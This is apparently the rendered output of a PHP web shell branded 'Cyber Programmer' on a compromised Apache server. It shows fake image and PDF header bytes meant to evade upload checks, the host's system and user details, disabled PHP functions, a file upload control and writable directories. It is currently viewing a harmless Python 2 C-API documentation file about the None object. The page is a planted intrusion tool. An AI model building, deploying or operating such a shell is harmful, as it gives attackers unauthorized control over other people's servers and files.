%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/doc/python2-docs/html/_sources/c-api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/python2-docs/html/_sources/c-api/none.rst.txt
.. highlightlang:: c

.. _noneobject:

The ``None`` Object
-------------------

.. index:: object: None

Note that the :c:type:`PyTypeObject` for ``None`` is not directly exposed in the
Python/C API.  Since ``None`` is a singleton, testing for object identity (using
``==`` in C) is sufficient. There is no :c:func:`PyNone_Check` function for the
same reason.


.. c:var:: PyObject* Py_None

   The Python ``None`` object, denoting lack of value.  This object has no methods.
   It needs to be treated just like any other object with respect to reference
   counts.


.. c:macro:: Py_RETURN_NONE

   Properly handle returning :c:data:`Py_None` from within a C function.

   .. versionadded:: 2.4

VaKeR 2022